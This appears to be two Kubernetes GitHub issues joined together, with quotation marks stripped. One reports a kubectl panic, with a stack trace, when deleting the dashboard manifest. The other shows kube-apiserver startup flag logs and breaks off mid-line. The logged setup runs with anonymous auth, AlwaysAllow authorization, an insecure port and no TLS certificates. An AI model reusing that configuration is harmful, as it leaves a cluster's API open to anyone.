environment\r <!-- describe how do you run kubernetes and dashboard. \r      versions of node.js, go etc. are needed only from developers. to get them use console:\r      $ node --version\r      $ go version\r  -->\r creating same issue here in core repo since it is found in kubectl\r https://github.com/kubernetes/dashboard/issues/2900\r    \r dashboard version: latest\r kubernetes version: 1.9\r operating system: 16.04.3 lts\r node.js version: v4.2.6\r go version: go1.9.2\r    \r \r       steps to reproduce\r kubectl delete  -f https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml\r \r       observed result\r root@sc-rdops-vm04-dhcp-114-244:~  kubectl delete  -f https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml\r secret \ kubernetes-dashboard-certs\  deleted\r serviceaccount \ kubernetes-dashboard\  deleted\r role \ kubernetes-dashboard-minimal\  deleted\r rolebinding \ kubernetes-dashboard-minimal\  deleted\r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x60 pc=0x627db6 \r \r goroutine 1  running :\r panic 0x1bcc980, 0xc4200100a0 \r \t/usr/local/go/src/runtime/panic.go:500 +0x1a1\r k8s.io/kubernetes/pkg/kubectl.reaperfor 0xc420b9a210, 0x4, 0xc420b9a260, 0xa, 0x0, 0x0, 0x1c03940, 0xc420b9bf10, 0xc420beb338, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/stop.go:95 +0xf26\r k8s.io/kubernetes/pkg/kubectl/cmd/util.  ring1factory .reaper 0xc420330840, 0xc42038c3f0, 0x40f9b5, 0xc420b95680, 0xc420beb350, 0x5d86b3 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/util/factory_object_mapping.go:290 +0x151\r k8s.io/kubernetes/pkg/kubectl/cmd/util.  factory .reaper 0xc4206855f0, 0xc42038c3f0, 0x1da1e80, 0xc4200b4370, 0xc420beb4a8, 0x57c3e2 \r \t<autogenerated>:92 +0x54\r k8s.io/kubernetes/pkg/kubectl/cmd.reapresult.func1 0xc4200d3e80, 0x0, 0x0, 0x9, 0x650801 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/delete.go:252 +0xdb\r k8s.io/kubernetes/pkg/kubectl/resource.continueonerrorvisitor.visit.func1 0xc4200d3e80, 0x0, 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:348 +0x153\r k8s.io/kubernetes/pkg/kubectl/resource.decoratedvisitor.visit.func1 0xc4200d3e80, 0x0, 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:324 +0xe5\r k8s.io/kubernetes/pkg/kubectl/resource.flattenlistvisitor.visit.func1 0xc4200d3e80, 0x0, 0x0, 0xc420beb658, 0x442dd5 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:389 +0x57c\r k8s.io/kubernetes/pkg/kubectl/resource.eagervisitorlist.visit.func1 0xc4200d3e80, 0x0, 0x0, 0x480, 0xc4201dde30 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:207 +0x153\r k8s.io/kubernetes/pkg/kubectl/resource.  streamvisitor .visit 0xc4205ef500, 0xc4208618e0, 0xc42075a1c0, 0x7fe0db51be88 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:552 +0x308\r k8s.io/kubernetes/pkg/kubectl/resource.  urlvisitor .visit 0xc420861780, 0xc4208618e0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:243 +0x12c\r k8s.io/kubernetes/pkg/kubectl/resource.eagervisitorlist.visit 0xc420351400, 0x1, 0x1, 0xc420852660, 0x1, 0xc420852660 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:211 +0xf4\r k8s.io/kubernetes/pkg/kubectl/resource.  eagervisitorlist .visit 0xc420861820, 0xc420852660, 0x0, 0x1edd5aa \r \t<autogenerated>:122 +0x6e\r k8s.io/kubernetes/pkg/kubectl/resource.flattenlistvisitor.visit 0x2a1dac0, 0xc420861820, 0xc4205ef4c0, 0xc4205ef540, 0xc420861801, 0xc4205ef540 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:417 +0x94\r k8s.io/kubernetes/pkg/kubectl/resource.  flattenlistvisitor .visit 0xc420861840, 0xc4205ef540, 0x18, 0x18 \r \t<autogenerated>:138 +0x6e\r k8s.io/kubernetes/pkg/kubectl/resource.decoratedvisitor.visit 0x2a1db40, 0xc420861840, 0xc420351410, 0x2, 0x2, 0xc4208618a0, 0xc420351401, 0xc4208618a0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:325 +0xd6\r k8s.io/kubernetes/pkg/kubectl/resource.  decoratedvisitor .visit 0xc420852630, 0xc4208618a0, 0x1c4d160, 0xc41fff1107 \r \t<autogenerated>:158 +0x78\r k8s.io/kubernetes/pkg/kubectl/resource.continueonerrorvisitor.visit 0x2a1da40, 0xc420852630, 0xc4201ddf10, 0x7fe0db5a54b0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:352 +0xf1\r k8s.io/kubernetes/pkg/kubectl/resource.  continueonerrorvisitor .visit 0xc420351420, 0xc4201ddf10, 0x40ee98, 0x70 \r \t<autogenerated>:153 +0x65\r k8s.io/kubernetes/pkg/kubectl/resource.  result .visit 0xc4201ddea0, 0xc4201ddf10, 0x2ade0a8, 0x2a1da40 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/result.go:96 +0x4e\r k8s.io/kubernetes/pkg/kubectl/cmd.reapresult 0xc4201ddea0, 0x2a3ff80, 0xc4206855f0, 0x2a1cc40, 0xc420020010, 0x2a20001, 0x0, 0xffffffffffffffff, 0x2a30000, 0x2a37cc0, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/delete.go:277 +0x16f\r k8s.io/kubernetes/pkg/kubectl/cmd.  deleteoptions .rundelete 0xc4209c0160, 0x2a3ff80, 0xc4206855f0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/delete.go:237 +0xc5\r k8s.io/kubernetes/pkg/kubectl/cmd.newcmddelete.func1 0xc420309d40, 0xc4203dc660, 0x0, 0x2 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/delete.go:143 +0x17c\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420309d40, 0xc4203dc200, 0x2, 0x2, 0xc420309d40, 0xc4203dc200 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x439\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc4203698c0, 0xc420459fd0, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x367\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4203698c0, 0xc4206855f0, 0x2a1cc00 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b\r k8s.io/kubernetes/cmd/kubectl/app.run 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/app/kubectl.go:39 +0xd5\r main.main  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:26 +0x22\r root@sc-rdops-vm04-dhcp-114-244:~ \r \r       expected result\r <!-- describe expected result as precisely as possible. -->\r \r       comments\r <!-- if you have any comments or more details, put them here. -->\r

i always prompt the following exception when configuring the startup apiserver:\r \r    \r nov 21 06:22:50 kube-node1 systemd: starting kubernetes api service...\r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.366906    9851 flags.go:33  flag: --address=\ 127.0.0.1\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.366987    9851 flags.go:33  flag: --admission-control=\   \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.366996    9851 flags.go:33  flag: --admission-control-config-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367003    9851 flags.go:33  flag: --advertise-address=\ 172.16.10.70\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367007    9851 flags.go:33  flag: --allow-privileged=\ false\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367011    9851 flags.go:33  flag: --alsologtostderr=\ false\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367014    9851 flags.go:33  flag: --anonymous-auth=\ true\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367017    9851 flags.go:33  flag: --apiserver-count=\ 1\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367022    9851 flags.go:33  flag: --audit-log-batch-buffer-size=\ 10000\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367025    9851 flags.go:33  flag: --audit-log-batch-max-size=\ 1\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367028    9851 flags.go:33  flag: --audit-log-batch-max-wait=\ 0s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367031    9851 flags.go:33  flag: --audit-log-batch-throttle-burst=\ 0\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367034    9851 flags.go:33  flag: --audit-log-batch-throttle-enable=\ false\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367038    9851 flags.go:33  flag: --audit-log-batch-throttle-qps=\ 0\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367043    9851 flags.go:33  flag: --audit-log-format=\ json\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367045    9851 flags.go:33  flag: --audit-log-maxage=\ 0\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367048    9851 flags.go:33  flag: --audit-log-maxbackup=\ 0\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367051    9851 flags.go:33  flag: --audit-log-maxsize=\ 0\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367055    9851 flags.go:33  flag: --audit-log-mode=\ blocking\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367058    9851 flags.go:33  flag: --audit-log-path=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367061    9851 flags.go:33  flag: --audit-log-truncate-enabled=\ false\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367064    9851 flags.go:33  flag: --audit-log-truncate-max-batch-size=\ 10485760\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367068    9851 flags.go:33  flag: --audit-log-truncate-max-event-size=\ 102400\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367073    9851 flags.go:33  flag: --audit-log-version=\ audit.k8s.io/v1beta1\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367076    9851 flags.go:33  flag: --audit-policy-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367078    9851 flags.go:33  flag: --audit-webhook-batch-buffer-size=\ 10000\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367081    9851 flags.go:33  flag: --audit-webhook-batch-initial-backoff=\ 10s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367084    9851 flags.go:33  flag: --audit-webhook-batch-max-size=\ 400\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367088    9851 flags.go:33  flag: --audit-webhook-batch-max-wait=\ 30s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367090    9851 flags.go:33  flag: --audit-webhook-batch-throttle-burst=\ 15\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367094    9851 flags.go:33  flag: --audit-webhook-batch-throttle-enable=\ true\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367096    9851 flags.go:33  flag: --audit-webhook-batch-throttle-qps=\ 10\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367099    9851 flags.go:33  flag: --audit-webhook-config-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367103    9851 flags.go:33  flag: --audit-webhook-initial-backoff=\ 10s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367106    9851 flags.go:33  flag: --audit-webhook-mode=\ batch\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367109    9851 flags.go:33  flag: --audit-webhook-truncate-enabled=\ false\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367111    9851 flags.go:33  flag: --audit-webhook-truncate-max-batch-size=\ 10485760\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367114    9851 flags.go:33  flag: --audit-webhook-truncate-max-event-size=\ 102400\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367117    9851 flags.go:33  flag: --audit-webhook-version=\ audit.k8s.io/v1beta1\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367121    9851 flags.go:33  flag: --authentication-token-webhook-cache-ttl=\ 2m0s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367124    9851 flags.go:33  flag: --authentication-token-webhook-config-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367126    9851 flags.go:33  flag: --authorization-mode=\  alwaysallow \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367133    9851 flags.go:33  flag: --authorization-policy-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367136    9851 flags.go:33  flag: --authorization-webhook-cache-authorized-ttl=\ 5m0s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367140    9851 flags.go:33  flag: --authorization-webhook-cache-unauthorized-ttl=\ 30s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367143    9851 flags.go:33  flag: --authorization-webhook-config-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367145    9851 flags.go:33  flag: --basic-auth-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367148    9851 flags.go:33  flag: --bind-address=\ 172.16.10.70\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367151    9851 flags.go:33  flag: --cert-dir=\ /var/run/kubernetes\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367156    9851 flags.go:33  flag: --client-ca-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367158    9851 flags.go:33  flag: --cloud-config=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367161    9851 flags.go:33  flag: --cloud-provider=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367164    9851 flags.go:33  flag: --cloud-provider-gce-lb-src-cidrs=\ 130.211.0.0/22,209.85.152.0/22,209.85.204.0/22,35.191.0.0/16\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367169    9851 flags.go:33  flag: --contention-profiling=\ false\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367174    9851 flags.go:33  flag: --cors-allowed-origins=\   \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367178    9851 flags.go:33  flag: --default-not-ready-toleration-seconds=\ 300\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367181    9851 flags.go:33  flag: --default-unreachable-toleration-seconds=\ 300\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367184    9851 flags.go:33  flag: --default-watch-cache-size=\ 100\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367187    9851 flags.go:33  flag: --delete-collection-workers=\ 1\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367191    9851 flags.go:33  flag: --deserialization-cache-size=\ 0\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367194    9851 flags.go:33  flag: --disable-admission-plugins=\   \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367198    9851 flags.go:33  flag: --enable-admission-plugins=\  namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,defaulttolerationseconds,mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367206    9851 flags.go:33  flag: --enable-aggregator-routing=\ false\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367209    9851 flags.go:33  flag: --enable-bootstrap-token-auth=\ false\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367214    9851 flags.go:33  flag: --enable-garbage-collector=\ true\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367216    9851 flags.go:33  flag: --enable-logs-handler=\ true\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367219    9851 flags.go:33  flag: --enable-swagger-ui=\ false\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367221    9851 flags.go:33  flag: --endpoint-reconciler-type=\ lease\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367224    9851 flags.go:33  flag: --etcd-cafile=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367228    9851 flags.go:33  flag: --etcd-certfile=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367231    9851 flags.go:33  flag: --etcd-compaction-interval=\ 5m0s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367234    9851 flags.go:33  flag: --etcd-count-metric-poll-period=\ 1m0s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367236    9851 flags.go:33  flag: --etcd-keyfile=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367239    9851 flags.go:33  flag: --etcd-prefix=\ /registry\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367243    9851 flags.go:33  flag: --etcd-quorum-read=\ true\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367246    9851 flags.go:33  flag: --etcd-servers=\  https://172.16.10.70:2379,https://172.16.10.197:2379,https://172.16.10.198:2379 \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367252    9851 flags.go:33  flag: --etcd-servers-overrides=\   \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367268    9851 flags.go:33  flag: --event-ttl=\ 1h0m0s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367272    9851 flags.go:33  flag: --experimental-encryption-provider-config=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367277    9851 flags.go:33  flag: --external-hostname=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367279    9851 flags.go:33  flag: --feature-gates=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367284    9851 flags.go:33  flag: --help=\ false\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367288    9851 flags.go:33  flag: --http2-max-streams-per-connection=\ 0\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367290    9851 flags.go:33  flag: --insecure-bind-address=\ 127.0.0.1\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367295    9851 flags.go:33  flag: --insecure-port=\ 8080\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367298    9851 flags.go:33  flag: --kubelet-certificate-authority=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367301    9851 flags.go:33  flag: --kubelet-client-certificate=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367303    9851 flags.go:33  flag: --kubelet-client-key=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367305    9851 flags.go:33  flag: --kubelet-https=\ true\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367310    9851 flags.go:33  flag: --kubelet-port=\ 10250\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367313    9851 flags.go:33  flag: --kubelet-preferred-address-types=\  hostname,internaldns,internalip,externaldns,externalip \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367320    9851 flags.go:33  flag: --kubelet-read-only-port=\ 10255\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367323    9851 flags.go:33  flag: --kubelet-timeout=\ 5s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367325    9851 flags.go:33  flag: --kubernetes-service-node-port=\ 0\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367330    9851 flags.go:33  flag: --log-backtrace-at=\ :0\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367335    9851 flags.go:33  flag: --log-dir=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367338    9851 flags.go:33  flag: --log-flush-frequency=\ 5s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367340    9851 flags.go:33  flag: --logtostderr=\ true\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367343    9851 flags.go:33  flag: --master-service-namespace=\ default\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367348    9851 flags.go:33  flag: --max-connection-bytes-per-sec=\ 0\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367351    9851 flags.go:33  flag: --max-mutating-requests-inflight=\ 200\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367354    9851 flags.go:33  flag: --max-requests-inflight=\ 400\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367356    9851 flags.go:33  flag: --min-request-timeout=\ 1800\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367359    9851 flags.go:33  flag: --oidc-ca-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367363    9851 flags.go:33  flag: --oidc-client-id=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367366    9851 flags.go:33  flag: --oidc-groups-claim=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367368    9851 flags.go:33  flag: --oidc-groups-prefix=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367371    9851 flags.go:33  flag: --oidc-issuer-url=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367373    9851 flags.go:33  flag: --oidc-required-claim=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367379    9851 flags.go:33  flag: --oidc-signing-algs=\  rs256 \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367384    9851 flags.go:33  flag: --oidc-username-claim=\ sub\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367387    9851 flags.go:33  flag: --oidc-username-prefix=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367389    9851 flags.go:33  flag: --port=\ 8080\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367392    9851 flags.go:33  flag: --profiling=\ true\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367396    9851 flags.go:33  flag: --proxy-client-cert-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367398    9851 flags.go:33  flag: --proxy-client-key-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367401    9851 flags.go:33  flag: --repair-malformed-updates=\ false\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367403    9851 flags.go:33  flag: --request-timeout=\ 1m0s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367406    9851 flags.go:33  flag: --requestheader-allowed-names=\   \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367411    9851 flags.go:33  flag: --requestheader-client-ca-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367416    9851 flags.go:33  flag: --requestheader-extra-headers-prefix=\   \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367420    9851 flags.go:33  flag: --requestheader-group-headers=\   \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367426    9851 flags.go:33  flag: --requestheader-username-headers=\   \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367430    9851 flags.go:33  flag: --runtime-config=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367436    9851 flags.go:33  flag: --secure-port=\ 6443\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367439    9851 flags.go:33  flag: --service-account-api-audiences=\   \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367443    9851 flags.go:33  flag: --service-account-issuer=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367446    9851 flags.go:33  flag: --service-account-key-file=\   \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367450    9851 flags.go:33  flag: --service-account-lookup=\ true\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367455    9851 flags.go:33  flag: --service-account-max-token-expiration=\ 0s\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367458    9851 flags.go:33  flag: --service-account-signing-key-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367460    9851 flags.go:33  flag: --service-cluster-ip-range=\ 10.254.0.0/16\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367464    9851 flags.go:33  flag: --service-node-port-range=\ 30000-32767\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367469    9851 flags.go:33  flag: --ssh-keyfile=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367473    9851 flags.go:33  flag: --ssh-user=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367476    9851 flags.go:33  flag: --stderrthreshold=\ 2\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367478    9851 flags.go:33  flag: --storage-backend=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367481    9851 flags.go:33  flag: --storage-media-type=\ application/vnd.kubernetes.protobuf\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367484    9851 flags.go:33  flag: --storage-versions=\ admission.k8s.io/v1beta1,admissionregistration.k8s.io/v1beta1,apps/v1,authentication.k8s.io/v1,authorization.k8s.io/v1,autoscaling/v1,batch/v1,certificates.k8s.io/v1beta1,coordination.k8s.io/v1beta1,events.k8s.io/v1beta1,extensions/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,policy/v1beta1,rbac.authorization.k8s.io/v1,scheduling.k8s.io/v1beta1,settings.k8s.io/v1alpha1,storage.k8s.io/v1,v1\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367493    9851 flags.go:33  flag: --target-ram-mb=\ 0\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367497    9851 flags.go:33  flag: --tls-cert-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367500    9851 flags.go:33  flag: --tls-cipher-suites=\   \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367506    9851 flags.go:33  flag: --tls-min-version=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367508    9851 flags.go:33  flag: --tls-private-key-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367513    9851 flags.go:33  flag: --tls-sni-cert-key=\   \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367516    